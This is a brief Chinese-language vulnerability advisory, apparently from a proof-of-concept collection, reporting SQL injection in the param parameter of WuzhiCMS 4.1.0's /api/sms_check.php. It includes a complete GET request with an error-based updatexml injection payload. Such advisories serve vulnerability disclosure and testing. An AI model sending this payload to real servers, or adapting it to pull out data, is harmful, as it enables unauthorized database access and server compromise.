Description
【漏洞对象】五指CMS系统 【涉及版本】4.1.0 【漏洞描述】五指CMS系统的/api/sms_check.php文件param参数存在sql注入，可造成信息数据泄露，攻击者可利用该漏洞执行SQL指令，甚至入侵服务器。
五指CMS系统sms_check.php文件param参数-SQL注入
PoC
GET /api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20md5(999999999)),0x7e),1)--%20 HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.